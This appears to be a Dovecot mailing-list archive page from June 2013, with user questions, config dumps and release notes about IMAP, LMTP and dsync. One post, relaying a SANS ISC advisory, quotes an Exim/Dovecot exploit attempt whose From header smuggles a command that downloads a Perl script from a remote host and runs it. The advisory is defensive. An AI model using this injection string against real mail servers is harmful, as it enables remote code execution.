[Dovecot] Permissions for mail_temp_dir directory

I recently upgraded from 2.1.16 to 2.2.2 and started to receive the following errors: imap(henrik(a)example.com): Error: stat(/var/db/dovecot/dovecot.imap.mail.example.com.16128.3209d13f842955c2) failed: Permission denied imap(henrik(a)example.com): Error: Temp file creation to /var/db/dovecot/dovecot.imap.mail.example.com.16128. failed: Permission denied imap(henrik(a)example.com): Error: stat(/var/db/dovecot/dovecot.imap.mail.example.com.16501.0ddff1dc93cdbe6a) failed: Permission denied imap(henrik(a)example.com): Error: Temp file creation to /var/db/dovecot/dovecot.imap.mail.example.com.16501. failed: Permission denied I didn't have these before the upgrade.

[Dovecot] THREAD REFERENCES bug
by A.L.E.C 13 Jun '13

13 Jun '13

I found it on an ancient dovecot version, so it might be already fixed. Let's say I have a folder with 3 messages UID Subject Date 12 One 2013-06-09 11 Testmail 2013-06-10 14 Subject 2013-06-11 C: A0003 UID THREAD REFERENCES US-ASCII ALL S: * THREAD (12)(11)(14) Now I received a message with today's date (2013-06-12) with subject "Testmail" (the same as message with uid=11. The new message has uid=16. C: A0003 UID THREAD REFERENCES US-ASCII ALL S: * THREAD (12)((11)(16))(14) I expected 16 (or more likely 11 and 16) to be at the end of the result, after 14, i.e. (12)(14)((11)(16)). The problem for a user is when he has more messages in a folder. When user receives a new message sometimes (on subject duplicate) he will not see it because it will be somewhere in the middle of the result, but should be on top. -- Aleksander 'A.L.E.C' Machniak LAN Management System Developer [http://lms.org.pl] Roundcube Webmail Developer [http://roundcube.net] --------------------------------------------------- PGP: 19359DC1 @@ GG: 2275252 @@ WWW: http://alec.pl

[Dovecot] Dovecot 2 + IMAP
by Alex Dubinin 12 Jun '13

12 Jun '13

This is my first experience of the mail server. Set up a mail server from Postfix + Dovecot with the MySQL authorization. When you create a new user dovecot makes strange folder structure: the 'inbox' contains 'juncus', 'tash', 'sent' etc. ie 'sent' and other folders are subdir to the 'inbox'. How to make the imap folders 'sent', 'trash' and others were not affiliated? I have IMAP answer: . list "" "*" * LIST (\HasChildren) "." "INBOX" . OK List completed. No trash, no drafts, no other folder. All this folder included in INBOX (((( But I want (my clients wants): * LIST (\HasNoChildren) "." "Drafts" * LIST (\HasNoChildren) "." "INBOX" * LIST (\HasNoChildren) "." "Trash" * LIST (\HasNoChildren) "." "Sent" * LIST (\HasNoChildren) "." "spam" P.S. Sorry for my english.

[Dovecot] v2.2.0 released
by Timo Sirainen 12 Jun '13

12 Jun '13

http://dovecot.org/releases/2.2/dovecot-2.2.0.tar.gz http://dovecot.org/releases/2.2/dovecot-2.2.0.tar.gz.sig Everything now seems to be stable and working in v2.2, so I can finally move onto developing great new interesting features for v2.3. :) My company has also launched a web shop where you can buy various products. One of them is cheap access to Dovecot enterprise edition repositories, which are basically same as regular Dovecot releases, except they are kept patched with the latest important bugfixes. We currently have releases for RHEL/CentOS 5 and 6, Debian Squeeze and Ubuntu 12.04 LTS. By buying Dovecot-EE you'll also get a 30 day demo license for object storages, if you want to try it out. http://shop.dovecot.fi/ * When creating home directories, the permissions are copied from the parent directory if it has setgid-bit set. For full details, see http://wiki2.dovecot.org/SharedMailboxes/Permissions * "doveadm auth" command was renamed to "doveadm auth test" * IMAP: ID command now advertises server name as Dovecot by default. It was already trivial to guess this from command replies. * dovecot.index.cache files can be safely accessed only by v2.1.11+. Older versions may think they're corrupted and delete them. * LDA/LMTP: If saving a mail brings user from under quota to over quota, allow it based on quota_grace setting (default: 10% above quota limit). * pop3_lock_session=yes now uses a POP3-only dovecot-pop3-session.lock file instead of actually locking the mailbox (and causing IMAP/LDA/LMTP to wait for the POP3 session to close). * mail_shared_explicit_inbox setting's default switched to "no". * ssl_client_ca_dir setting replaced imapc_ssl_ca_dir and pop3c_ssl_ca_dir settings. + Implemented IMAP MOVE and BINARY extensions + Implemented IMAP CATENATE, URLAUTH and URLAUTH=BINARY extensions (by Stephan Bosch). + Implemented IMAP NOTIFY extension. Requires mailbox_list_index=yes to be enabled. + Redesigned and rewritten dsync. The new design makes the syncing faster, more reliable and more featureful. The new dsync protocol isn't backwards compatible with old dsync versions (but is designed to be forwards compatible with future versions). + All mailbox formats now support per-user message flags for shared mailboxes by using a private index. It can be enabled by adding :INDEXPVT=<path> to mail location. This should be used instead of :INDEX also for Maildir/mbox to improve performance. + Improved mailbox list indexes. They should be usable now, although still disabled by default. + Added LAYOUT=index. The mailbox directories are created using their GUIDs in the filesystem, while the actual GUID <-> name mapping exists only in the index. + LMTP proxy: Implemented XCLIENT extension for passing remote IP address through proxy.

[Dovecot] Zlib plugin: changing compression save level
by Urban Loesch 11 Jun '13

11 Jun '13

Hi, I have running dovecot 2.1.15 with zlib plugin enabled and "zlib_save_level = 6" since about 2 years now without any problems. What happens if I now change the zlib_save_level to 9? Should that work without any problems, or become the current saved "*.m" files incompatible or unreadable? Thanks Urban

[Dovecot] Wait for interface to become available instead of dying?
by Sebastian Arcus 11 Jun '13

11 Jun '13

At the moment, if one of the interfaces specified with "listen=" in dovecot.conf is not up when Dovecot is started, then Dovecot just refuses to start. Is there an option to make Dovecot start anyway, and just use the interface when it becomes available? It is inconvenient to have Dovecot refuse to start during boot because some interface is temporarily not available. Then again, maybe there is some strong security reasoning behind the way Dovecot behaves at the moment?

[Dovecot] IMAP
by Jason Lock 10 Jun '13

10 Jun '13

We are using version 1.2.17 and recently are experiencing major issues with performance, which we believe have isolated to IMAP sessions. We have 3 servers running Dovecot, with a central store shared via NFS. Things have been running quite well for months now, with the latest issues appearing within the last week. As an experiment have 2 of the server running and only accepting POP3 connecitons no IMAP, and the 3rd server only accepting IMAP connections and no POP3. When the issue occurred today, stopping dovecot on the IMAP only server allowed POP3 to resume to normal operations 5-10 minutes later. Leaving IMAP disabled for a period of time (about 30 mins) and then re-enabling seemed to worked the first time. Subsequent times, the issue appeared shortly after re-enabling IMAP. Our webmail solution connects via IMAP, so when disabled this also impact clients using the webmail. Running only POP3 while IMAP is disabled we do not appear to have any issues. At this point, looking for any advice. We believe the number of devices utilizing IMAP has increased significantly for us, and whether or not a specific device is the cause we have not been able to determine. Anyone else experiencing a similar problem that appears related to IMAP?

[Dovecot] from ISC: Exim/Dovecot exploit making the rounds
by Luigi Rosa 09 Jun '13

09 Jun '13

One of our readers wrote in to let us know that he had received an attempted Exim/Dovecot exploit attempt against his email server. The exploit partially looked like this: From: x`wget${IFS}-O${IFS}/tmp/crew.pl${IFS}50.xx.xx.xx/dc.txt``perl${IFS}/tmp/crew.pl`(a)blaat.com (Obviously edited for your safety, and I didn't post the whole thing.) This is an exploit against Dovecot that is using the feature "use_shell" against itself. This feature, unfortunately, is found in the example wiki on Dovecot's website, and also in their example configuration. We'd caution anyone that is using Dovecot to take a look at their configuration and make use they aren't using the "use_shell" parameter. Or if you are, make darn sure you know what you are doing, and how to defend yourself. https://isc.sans.edu/diary/EximDovecot+exploit+making+the+rounds/15962 Ciao, luigi -- / +--[Luigi Rosa]-- \ The generation of random numbers is too important to be left to chance.

[Dovecot] Speed up mail retrieval by keyword
by Manfred Usselmann 09 Jun '13

09 Jun '13

Hi, I' m using a roundcube plugin for adding attributes to mails, which are stored as IMAP keywords (https://github.com/umount/message_label [1]). This plugin allows me to retrieve mails with a certain attribute across all my mail folders. Selecting mails this way is very convenient, but also very slow, probably because I've got a lot of mails and folders. Is there a way to speed this up somehow by changing any configuration options? Versions in use are Roundcube 0.9.0 and Dovecot 2.1.10 (Maildir). Thanks Manfred Links: ------ [1] https://github.com/umount/message_label

[Dovecot] search and UTF-8 normalization forms (NFD)
by Lutz Preßler 09 Jun '13

09 Jun '13

Hello, on a system with dovecot 2.2 I've got a mailbox containing multiple mails from a person called Krüger, but From: header encoded differently. Some are encoded in UTF-8 normalization form decomposed (as used by Mac OSX), that is u and umlaut accent as sperate combined codepoints instead of one ü: From: =?utf-8?Q?replaced_Kru=CC=88ger?= <krueger(a)some.domain> Searching within roundcube webmail for "krüger" as sender missis this mails. Roundcube sends (dovecot rawlog): A0003 UID THREAD REFS UTF-8 ALL HEADER FROM {7+}krüger Is this supposed to work? Haven't done any more debugging (other search variants) or read RFCs. As a user I would expect Unicode equivalence rules be applied (see http://en.wikipedia.org/wiki/Unicode_equivalence) Regards, Lutz

Hello, I am following the wiki page to setup 2 IMAP servers Director. in each server, I have created 2 sets of dovecot config file where the first set is for imap proxy with director the second set is for the imap backend after this, I attempt to login IMAP through the imap-proxy on any machine with several users. from the log, all users always go to the same IMAP backend in Server 2, I don't see any user go to the IMAP backend in Server 1 at all. What could be the problem I have ? - Joe

This is my first experience of the mail server. Set up a mail server from Postfix + Dovecot with the MySQL authorization. When you create a new user dovecot makes strange folder structure: the 'inbox' contains 'juncus', 'tash', 'sent' etc. ie 'sent' and other folders are subdir to the 'inbox'. My result: 04 LIST "" "*" * LIST (\HasChildren) "." "INBOX" * LIST (\HasNoChildren) "." "INBOX.Trash" I want: 04 LIST "" "*" * LIST (\HasNoChildren) "." "INBOX" * LIST (\HasNoChildren) "."

[Dovecot] Load Balancing and HA
by Romer Ventura 06 Jun '13

06 Jun '13

Hello, I've been thinking about the best way to achieve load balancing and making my mail servers highly available. So far I believe I have 2 scenarios: Scenario1: This should allow any to lose any of the servers and clients still have access to their emails (although I am not sure how the indexes would react to this and sudden disconnection) - 2 Dovecot Proxy servers, using a virtual IP to where the clients will connect to from the WAN and LAN - 2 Dovecot+Postfix servers with local cache - 2 NFS servers and synced with dsync (mirror, 1 server writes to its own NFS and changes synced to the other via dsync) Scenario2: Pretty much as above on the back end. However, with this there is no way to load balance users. - 2 Dovecot+Postfix server with local cache - 2 NFS servers synced with dsync - Make use of DNS MX record priority to provide access to secondary email server Anyone care to comment?

[Dovecot] Error: Threading lost Message ID
by Oscar A. Jara 05 Jun '13

05 Jun '13

Hello everyone, I have just put in production dovecot imap and pop3 in replacement of courier in a setup of 700 accounts aprox. Dovecot release running is 1.2.16 in a Linux CentOS 5.8. Seems like some accounts are having problems dealing with message threading, as I read lines like this one in my logs: IMAP(some_user): Error: Threading lost Message ID ...and some of those accounts cannot even list the emails. I temporarily got rid of this problem deactivating threading on those accounts but I would like to solve it. I found a patch that seams to deal with this problem at http://hg.dovecot.org/dovecot-1.2/rev/76023d59c3b2 but it would be weird that CentOS wouldn't have release a patched version of the package. Am I missing something here? Thanks in advance! __________ Information from ESET Mail Security, version of virus signature database 8412 (20130604) __________ The message was checked by ESET Mail Security. http://www.eset.com

I found something interesting via strace. lda is writing a timestamp with utime before doign the fsync, but I'm really not a C guy, so I have no idea why that's going on via procmail and not via commandline. I assume it's related to the choice of pread64 vs read. when called from commandline (working): read(0, "July 14-20, 2013\n10 courses.

[Dovecot] partionning users among backends
by Emmanuel Dreyfus 05 Jun '13

05 Jun '13

Hi I face growing load on a mailserver, and I would like to spread the load on multiple machines. I made a first attempt with dsync but got burnt with issues with mbox, therefore now I am looking for another safer approach. Partitionning users on multiple backends would address my load problem. I would have 50% of users on mail1.example.net and 50% on mail2.example.net, but I need to correctly redirect users requests, as their mail user agents only know about mail.example.net. Is dovecot able to send request to the local machine or to proxy them to another one, depending on information it would have on user mailboxes location? If it does, do we have documentation on this? -- Emmanuel Dreyfus manu(a)netbsd.org

[Dovecot] Bad exit status from dsync
by Jan-Frode Myklebust 05 Jun '13

05 Jun '13

I just tried to migrate one of my users from maildir to mdbox using dsync. My conversion script is checking the dsync exit code to know if the conversion goes fine or not, and surprisingly dsync returned "0" at the same time as it gave the error: Error: Failed to sync mailbox .ta\ vare\ på ... (sorry, lost the rest of the error message) Changing the folder name to mUTF7 manually made it work, but I didn't like that dsync returned success when it got this error. That breaks the failsafe logic in my conversion script. Dovecot version dovecot-ee-2.1.16.3-1, x86_64, RHEL5. Dsync command used: dsync -v -u username(a)example.net mirror maildir:/usr/local/atmail/users/u/s/username@example.net With these dovecot.conf settings: mail_home = /srv/mailstore/%256LRHu/%Ld/%Ln mail_location = mdbox:~/mdbox -jf

[Dovecot] Dovecot and time (again)
by Rick Romero 05 Jun '13

05 Jun '13

I'm rehashing/reliving my issues from 2010: http://www.dovecot.org/list/dovecot/2010-October/053528.html In short, when calling deliver from vdelivermail (or procmail), and delivering via NFS to Maildir, the timestamp on the file is GMT. If procmail or vdelivermail completely handle the email, the timestamp is CST. The server is set to CST. What's changed from the original issue? Previously was running dovecot 1.x on FreeBSD, now 2.1.7 on Debian 7. I know it's a few versions behind, but this is a deliver only server, and ChangeLog doesn't show too many fixes for lda. Of course, running the command from the command line works perfectly... So where could my problem reside? Two examples: 1st via Calling from procmail: :0 * ? test -f /usr/lib/dovecot/dovecot-lda { :0w |/usr/lib/dovecot/deliver -d $EXT@$HOST } -rw------- 1 vpopmail vchkpw 87196 Jun 5 13:43 1370439849.M812P29560.smtp101,S=87196,W=88094 2nd via Commandline: #sudo -u vpopmail cat /tmp/testmail.txt | /usr/lib/dovecot/deliver -d rick(a)havokmon.com -rw------- 1 vpopmail vchkpw 27740 Jun 5 08:46 1370440001.M421646P29846.smtp101,S=27740,W=28243 I've thrown the TZ variable in the mix as well with no resolution |/usr/bin/env -i TZ=CST /usr/lib/dovecot/deliver -d $EXT@$HOST |/usr/bin/env -i TZ=America/Chicago /usr/lib/dovecot/deliver -d $EXT@$HOST I've also set import_environment = TZ , but it doesn't seem to show in dovecot -n ... Any other thoughts? Side note - deliver behavior has changed since 1.x. I used to be able to specifiy the HOME directory, but now deliver requires the -d parameter, so I've had to setup an Auth server where I didn't have to in the past. Am I the only one who doesn't run my servers in GMT? I seem to only find my own posts when searching on this :) Rick

[Dovecot] valid folder name
by Jan-Frode Myklebust 05 Jun '13

05 Jun '13

We have a quite large user base, with lots of bad folder names because the mail folders was earlier accessible outside of dovecot. Now we're running dsync conversions from maildir to mdbox for all users, but are struggelig a bit with dsync not liking invalid folder names. Before we convert a user we try to determine if the folder names are valid, but we don't have a very good regexp for validating it. Maybe someone else knows a way to verify (and fix?) folder names that are invalid. The rules I know is: - name doesn't start with '.' or '~' (after the initial '.') - name doesn't end with '.' - the name doesn't contain '..' - the name is valid mUTF7 So, any regexp gurus that can distill those rules down to something usable? -jf -- Some people, when confronted with a problem, think "I know, I'll use regular expressions." Now they have two problems. -jwz

[Dovecot] Administrative mailbox deletions
by Alan Brown 04 Jun '13

04 Jun '13

I'm in the process of nuking a bunch of dead mailboxes after they've been migrated to other servers - but the accounts have been kept. A simple shell script takes care of most of it, BUT.... (there's always a "but" isn't there?) One user has named all his mailboxes with leading hyphens. ie: -foo -bar -bazz and "doveadm mailbox delete" doesn't like it. Does anyone have the magic sauce needed to escape the - character? Thanks in advance Alan

[Dovecot] Imap Server as storage backend for dovecot

[Dovecot] recursive mail_location?
by Eric Abrahamsen 04 Jun '13

04 Jun '13

Forgive what may be a newby question, but I'm trying to get a new setup working, and there are many different things confusing me. I'm trying for a gnus + dovecot + mbsync arrangement, with mbsync writing to maildirs, and gnus reading from those dirs with a dovecot invocation. Fairly standard, I think. I have multiple email accounts I'm trying to sync, all of them gmail. My problem is that mbsync creates one maildir structure for each mailbox in each account. So I end up with: ~/mail ├── acc1 │ ├── INBOX │ │ ├── cur │ │ ├── new │ │ └── tmp │ └── OTHERBOX │ ├── cur │ ├── new │ └── tmp └── acc2 ├── INBOX │ ├── cur │ ├── new │ └── tmp └── OTHERBOX ├── cur ├── new └── tmp And so on, for many accounts, and many mailboxes. I believe there's something I can configure in mbsync to collapse this a little, but there's still going to be quite a bit of nesting. Gnus, meanwhile, is meant to invoke dovecot with the "-o mail_location" switch, and as far as I can tell that needs to be pointed at a maildir structure, which means I would need a separate gnus server for each mailbox in each account. Does anyone have a recommended way of handling this? Is it possible to either "flatten" the structure further, or somehow tell dovecot to recurse into directories? I don't mind having a separate gnus server for each mail account, but I'd hate to have to do one per mailbox. I'm only just getting started and haven't invested myself in any particular setup, so if the answer is "you're doing it all wrong", I would love to hear that. Thanks! Eric

[Dovecot] Configuration advice needed.
by Olivier Girard 03 Jun '13

03 Jun '13

Hello, First, thanks for this great piece of software. I'm new to dovecot and i've just converted my old courier configuration on pop/imap server side, everithing is working just fine on this side and speed gain expected was found (not enough for our busy servers :). Setup is done with 3 dovecot virtual servers load balanced with a Hardware load balancer (this part is a big point of the question). Postfix and dovecot servers use an NFS share on a NetApp for mail, Postfix servers are writting directly to inbox maildirs. Load balanced is maintaining afinity betwen client and server so i've got no problem with this for the moment. Now, i want to setup postfix (3 HW load balanced) for local delivery with LMTP on deovecot servers, and here come my questions. Afinity can't be maintained between IMAP and LMTP for a user with my load balancer so mail can be delivered on dovecot01 and read on dovecot02, from what i've read this can be an issue with indexes. I think i need to setup a director to maintain LMTP and IMAP afinity between users and servers but on imap servers i'm identifying user with their UID, and LMTP need to see emails. Does dovecot see the same user or 2 users with the same homedir? So my question is: could you point me to the right direction with this setup, do you have any advice on this config. Actual configurations: (postlogin not in real use, just a touch on (imap/pop3)_last_login) POP/IMAP server: dovecot01# doveconf -n # 2.1.15: /usr/local/etc/dovecot/dovecot.conf # OS: FreeBSD 8.3-RELEASE-p3 amd64 auth_cache_negative_ttl = 0 auth_cache_size = 10 M auth_mechanisms = plain login auth_verbose = yes default_client_limit = 1500 default_process_limit = 500 default_vsz_limit = 1 G disable_plaintext_auth = no dotlock_use_excl = no lock_method = dotlock mail_fsync = always mail_gid = vmail mail_location = maildir:%h/Maildir:INDEX=/mail_index%h mail_nfs_index = yes mail_nfs_storage = yes mail_plugins = " stats" mail_uid = vmail mmap_disable = yes namespace { inbox = yes location = prefix = INBOX. separator = . } passdb { args = /usr/local/etc/dovecot/dovecot-ldap.conf.ext driver = ldap } plugin { stats_refresh = 30 secs stats_track_cmds = yes } protocols = imap pop3 service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0666 user = postfix } user = $default_internal_user } service imap-postlogin { executable = script-login /usr/local/bin/imap-postlogin.sh user = vmail } service imap { executable = imap imap-postlogin process_limit = 1024 } service pop3-postlogin { executable = script-login /usr/local/bin/pop3-postlogin.sh user = vmail } service pop3 { executable = pop3 pop3-postlogin process_limit = 1024 } service stats { fifo_listener stats-mail { mode = 0600 user = vmail } } ssl_cert = </etc/ssl/cert/mail.univ-angers.fr.pem ssl_key = </etc/ssl/cert/mail.univ-angers.fr.key userdb { args = /usr/local/etc/dovecot/dovecot-ldap.conf.ext driver = ldap } protocol imap { mail_plugins = " stats imap_stats" } Postfix Test Server: %doveconf -n # 2.1.15: /usr/local/etc/dovecot/dovecot.conf # OS: FreeBSD 8.3-RELEASE-p3 amd64 auth_debug = yes auth_mechanisms = plain login auth_verbose = yes default_client_limit = 1500 default_process_limit = 500 default_vsz_limit = 512 M disable_plaintext_auth = no dotlock_use_excl = no lock_method = dotlock mail_fsync = always mail_gid = vmail mail_location = maildir:%h/Maildir:INDEX=/mail_index%h mail_nfs_index = yes mail_nfs_storage = yes mail_uid = vmail mmap_disable = yes namespace { inbox = yes location = prefix = INBOX. separator = . } passdb { args = /usr/local/etc/dovecot/dovecot-ldap.conf.ext driver = ldap } protocols = lmtp service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0666 user = postfix } unix_listener auth-userdb { user = vmail } user = $default_internal_user } service imap-postlogin { executable = script-login /usr/local/bin/imap-postlogin.sh user = vmail } service imap { executable = imap imap-postlogin process_limit = 1024 } service lmtp { inet_listener lmtp { address = * :: port = 24 } process_min_avail = 20 user = vmail } service pop3-postlogin { executable = script-login /usr/local/bin/pop3-postlogin.sh user = vmail } service pop3 { executable = pop3 pop3-postlogin process_limit = 1024 } ssl_cert = </etc/ssl/cert/mail.univ-angers.fr.pem ssl_key = </etc/ssl/cert/mail.univ-angers.fr.key userdb { args = /usr/local/etc/dovecot/dovecot-ldap.conf.ext driver = ldap } File dovecot-ldap.conf.ext uris = ldap://ldap.uang dn = cn=acces-smtp, ou=access, dc=univ-angers, dc=fr dnpass = ********** base = ou=people, dc=univ-angers, dc=fr user_attrs = homeDirectory=home user_filter = (&(|(uid=%u) (mail=%u) (auaAliasEmail=%u))(|(auaStatut=etu)(auaStatut=etu-sortant)(auaStatut=perso)(auaStatut=perso-sortant))) pass_attrs = uid=user,userPassword=password pass_filter = (&(|(uid=%u) (mail=%u) (auaAliasEmail=%u)) (|(auaStatut=etu)(auaStatut=etu-sortant)(auaStatut=perso) (auaStatut=perso-sortant))) iterate_attrs = uid=user iterate_filter = (|(auaStatut=etu)(auaStatut=etu-sortant)(auaStatut=perso)(auaStatut=perso-sortant)) default_pass_scheme = MD5-CRYPT

[Dovecot] An unconstructive grumble
by dd 03 Jun '13

03 Jun '13

5 hours of configuration attempts, error after confusing error, documentation with examples that only show extracts of working configurations. I really feel like throwing in the towel with dovecot. It should not be this hard and frankly almost impossible to understand and configure for such an incedibly simple configuration. /home/vmail/domain.name/username/cur /home/vmail/domain.name/username/new /home/vmail/domain.name/username/tmp 3 virtual users. All I want is a username and password to access my email. I have to have hit every error and problem there can be. No response at all from server, unable to find password file, unable to recognise user, invalid password. God it went on and on and on for five or more hours. For such a simple config. I know this is a totally unconstructive complaint and I should be taking the time to set out a careful explanation of my problem along with errors and logfiles but I just can't be bothered. I've tried so many many configurations and options and nothing works. How can it possibly be this hard to ghet some emails off the server with simple username/password configurations. Go ahead and flame me to a crisp. -- View this message in context: http://dovecot.2317879.n4.nabble.com/An-unconstructive-grumble-tp42598.html Sent from the Dovecot mailing list archive at Nabble.com.

"dovecot -n" shows the following: # 2.0.9: /etc/dovecot/dovecot.conf # OS: Linux 2.6.32-71.el6.x86_64 x86_64 CentOS release 6.4 (Final) auth_use_winbind = yes mbox_write_locks = fcntl passdb { driver = pam } protocols = imap pop3 ssl = no userdb { args = uid=10000 gid=10000 home=/mail/%d/%n driver = static } I show what I have in /etc/samba/smb.conf [global] workgroup = EJEMPLO realm = EJEMPLO.COM.UY server string = %h (Samba %v) security = ADS password server = ad.domain.dom username map = /etc/samba/mapeousuarios map untrusted to domain = Yes syslog = 0 log file = /var/log/samba/log.%m max log size = 1000 name resolve order = wins host bcast local master = No domain master = No dns proxy = No wins server = here active directory ip panic action = /usr/share/samba/panic-action %d winbind separator = + winbind use default domain = Yes winbind rpc only = Yes idmap config * : range = 1200-3000 idmap config * : backend = tdb [usuarios3] path = /exports/archivos-usuarios read only = No map acl inherit = Yes store dos attributes = Yes "wbinfo -g" and "wbinfo -u" work well. kinit Administrator work well also. Some steps of the configuration in dovecot.conf does not recognize: 1) "protocols = imap imaps pop3 pop3s". 2) "mechanisms = plain ntlm login". 3) "allow_all_users=yes" y "mail=maildir:/home/vmail/%d/%1Ln/%Ln:INBOX=/home/vmail/%d/%1Ln/%Ln". I'm not sure I should put in place. I also have some doubts: 1) I have to create a keytab file containing the principal for imap and pop?, as it would indicate Dovecot?. 2) That should indicate values uid y el gid? 3) I have to set something in pam? if I make "telnet localhost imap" shows the following: OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE AUTH=PLAIN] Dovecot ready NTLM not appears in the options. I hope I can shed some light on the subject :) Thanks and greetings. -- Maria José

Regarding your questions: Exchange 2010 and its supported (and unsupported and deviations from) IMAP standards are described on MS-STANXIMAP (MSDN). As far as I can tell, neither XLIST nor the enhanced (=extension of the standard) version of LIST is supported. Please keep in mind that this wouldn't matter very much, since most would connect to an Exchange 2010 server using either ActiveSync or MAPI/RPC. The following scenarios would definitely work: (A) your provider allows connections using ActiveSync (often referred to as "mobile" connection/access) and you're using Outlook 2013, (B) your provider allows connections using MAPI/RPC and you're using Outlook 2010. Outlook 2013 supports the extension specified in RFC 6154 and implements it using the XLIST command (as per MS-STANOIMAP), as documented in MS-STANOIMAP part 2.2.38; however, the LIST command in the same document doesn't mention the extension, so I'd assume it (Outlook 2013) doesn't necessarily support this feature using LIST as specified per RFC6154 (but only using explicitly XLIST.) Usually, any newer IMAP server supporting RFC6154 "LIST" ("XLIST") supports both the older XLIST as well as the newer LIST syntax. If it doesn't, a patch implementing this feature shouldn't be longer than a few (10 maybe?) lines of code and a few kind words to the developer team to get it into the next release of the server in question. --- http://msdn.microsoft.com/en-us/library/ee624430%28v=exchg.80%29.aspx ----------- V0061: The specification describes how to define an experimental command or any command that is not part of the specification. Microsoft Office Outlook 2007, Microsoft Outlook 2010 Outlook does not define any such commands. Microsoft Outlook 2013 Outlook 2013 implements the IMAP LIST extension specified in [RFC6154] as the XLIST command. --------------- so it may more a typical microsoft doku problem *g but however ,in fact no working trouble with dovecot SPECIAL-USE as far i remmeber to that list posting the problem whas there should get fixed was outlooks meaning of the Junk folder stuff, which is basicly done in another way by having its own antispam feature setup, so there are a few way to workaround that problem which i never tested and never will. My simple answer always is, Outlook is the client of exchange, with few stuff supporting normal internet mail ( imap etc ), dont use it with internet mail or live with its problems for notice Horde will implement Outlook 2013 complete active sync stack , so if that will happen, use active sync modus outlook 2013 with calender, abook, push mail , should no need for direct imap server con then, and it should "feel" like using exchnage ( but i think for one account only ), as horde has caldav and carddav , syncml too it can be used as middleware between many clients on many different os types i.e thunderbird lightning and k9 or native androids mail clients in exchange mode Best Regards MfG Robert Schetterer -- [*] sys4 AG http://sys4.de, +49 (89) 30 90 46 64 Franziskanerstraße 15, 81669 München Sitz der Gesellschaft: München, Amtsgericht München: HRB 199263 Vorstand: Patrick Ben Koetter, Axel von der Ohe, Marc Schiffbauer Aufsichtsratsvorsitzender: Florian Kirstein Best Regards MfG Robert Schetterer -- [*] sys4 AG http://sys4.de, +49 (89) 30 90 46 64 Franziskanerstraße 15, 81669 München Sitz der Gesellschaft: München, Amtsgericht München: HRB 199263 Vorstand: Patrick Ben Koetter, Axel von der Ohe, Marc Schiffbauer Aufsichtsratsvorsitzender: Florian Kirstein

[Dovecot] dovecot-lmtp does not work
by He Shiming 01 Jun '13

01 Jun '13

Dear Community, I've got a weird problem regarding lmtp setup with dovecot 2.0.19 on ubuntu 12.04.2 LTS. My reference of the configuration is at https://library.linode.com/email/postfix/postfix2.9.6-dovecot2.0.19-mysql , and my configuration is identical to it with the exception of opening the 110 pop3 port, and enabling plain text auth. Everything from imap, smtp, pop3 (including auth) works except for lmtp. I saw thousands of the following messages in /var/log/mail.log: May 31 09:05:24 postfix/lmtp[3664]: 2FD80321F4: to=<myaddress(a)me.com>, relay=none, delay=0.41, delays=0.41/0/0/0, dsn=4.4.1, status=deferred (connect to me.com[private/dovecot-lmtp]: No such file or directory) And it happens when an incoming email is received. Here's the output of configuration: root@prosp:/etc/dovecot/conf.d# dovecot -n # 2.0.19: /etc/dovecot/dovecot.conf # OS: Linux 3.8.4-linode50 i686 Ubuntu 12.04.2 LTS ext3 auth_mechanisms = plain login disable_plaintext_auth = no mail_location = maildir:/var/mail/vhosts/%d/%n mail_privileged_group = mail managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave passdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } plugin { sieve = ~/.dovecot.sieve sieve_dir = ~/sieve } protocols = imap pop3 sieve service auth-worker { user = vmail } service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0666 user = postfix } unix_listener /var/spool/postfix/private/dovecot-auth { group = postfix mode = 0660 user = postfix } unix_listener auth-userdb { mode = 0600 user = vmail } user = dovecot } service imap-login { inet_listener imap { port = 0 } } service lmtp { unix_listener /var/spool/postfix/private/dovecot-lmtp { group = postfix mode = 0600 user = postfix } } service pop3-login { inet_listener pop3 { port = 110 } } ssl_cert = </etc/ssl/certs/dovecot.pem ssl_cipher_list = ALL:!LOW:!SSLv2:ALL:!aNULL:!ADH:!eNULL:!EXP:RC4+RSA:+HIGH:+MEDIUM ssl_key = </etc/ssl/private/dovecot.pem userdb { args = uid=vmail gid=vmail home=/var/mail/vhosts/%d/%n driver = static } protocol imap { imap_client_workarounds = delay-newmail mail_max_userip_connections = 10 } protocol pop3 { mail_max_userip_connections = 10 pop3_client_workarounds = outlook-no-nuls oe-ns-eoh } protocol lda { deliver_log_format = msgid=%m: %$ mail_plugins = sieve postmaster_address = postmaster quota_full_tempfail = yes rejection_reason = Your message to <%t> was automatically rejected:%n%r } This problem has been discussed here: http://serverfault.com/questions/512219/dovecot-lmtp-does-not-exist . I've then tried switching from unix socket to inet listener, and still got the same result. I cannot get lmtp service to start. I'm also seeing no errors in the log when dovecot is restarted (see the above link for the log). I'm wondering how do I go about troubleshooting this problem? What might be the possible cause? Is it possible for dovecot to output verbose logs regarding service startups?

[Dovecot] LDA/LMTP - saving to INBOX fallback on tempfail?
by Timo Sirainen 31 May '13

31 May '13

Currently if saving to mailbox fails for any reason, the mail is saved to INBOX instead. Same if a Sieve redirect fails, the mail is saved to INBOX. I'm wondering if anyone actually prefers this behavior when the error is temporary? For example if some index file corruption was detected, the save will most likely succeed the next time it's attempted. Or if the redirect fails because the SMTP server can't be connected to at the moment. So I was thinking about changing v2.2 LDA/LMTP to simply return temporary failure instead of saving the mail to INBOX.
